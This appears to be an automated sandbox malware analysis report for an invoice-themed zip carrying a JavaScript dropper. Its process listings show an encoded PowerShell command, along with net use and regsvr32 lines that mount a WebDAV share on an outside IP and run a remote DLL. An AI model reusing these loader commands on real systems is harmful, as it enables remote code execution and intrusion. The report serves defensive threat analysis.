Malware Analysis Report

2024-12-07 16:35

Sample ID 241114-cfyaeawnhn
Target 14112024_0201_12112024_Rechnung zu Auftrag 103875-20241022-111255.zip
SHA256 55b404092874d50dd5e1524e88411bbc4bc397b17d2174f3ca7eea222dfef6b1
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

55b404092874d50dd5e1524e88411bbc4bc397b17d2174f3ca7eea222dfef6b1

Threat Level: Shows suspicious behavior

The file 14112024_0201_12112024_Rechnung zu Auftrag 103875-20241022-111255.zip was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Delays execution with timeout.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 02:01

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 02:01

Reported

2024-11-14 02:06

Platform

win7-20240729-en

Max time kernel

239s

Max time network

240s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\17481323262171426069.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2604 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2604 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2604 wrote to memory of 2952 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2952 wrote to memory of 2784 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2952 wrote to memory of 2784 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2952 wrote to memory of 2784 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2952 wrote to memory of 2896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2952 wrote to memory of 2896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2952 wrote to memory of 2896 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2896 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2896 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2896 wrote to memory of 2904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2952 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2952 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2952 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2852 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2852 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2852 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2852 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2852 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\17481323262171426069.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADYAMgA2ADEAMgA3ADQANAAxADMANQAxADMALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll

Network

N/A

Files

memory/2952-4-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmp

memory/2952-6-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

memory/2952-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

memory/2952-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

memory/2952-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

memory/2952-7-0x0000000001F10000-0x0000000001F18000-memory.dmp

memory/2952-10-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

memory/2952-11-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

memory/2952-12-0x000007FEF57E0000-0x000007FEF617D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 02:01

Reported

2024-11-14 02:06

Platform

win10v2004-20241007-en

Max time kernel

150s

Max time network

273s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\17481323262171426069.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\17481323262171426069.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADYAMgA2ADEAMgA3ADQANAAxADMANQAxADMALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\86261274413513.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 134.130.81.91.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 53.210.109.20.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 65.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 92.16.208.104.in-addr.arpa udp

Files

memory/2168-0-0x00007FFFF8853000-0x00007FFFF8855000-memory.dmp

memory/2168-1-0x00000232AE680000-0x00000232AE6A2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xqesuhvf.age.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2168-11-0x00007FFFF8850000-0x00007FFFF9311000-memory.dmp

memory/2168-12-0x00007FFFF8850000-0x00007FFFF9311000-memory.dmp

memory/2168-15-0x00007FFFF8850000-0x00007FFFF9311000-memory.dmp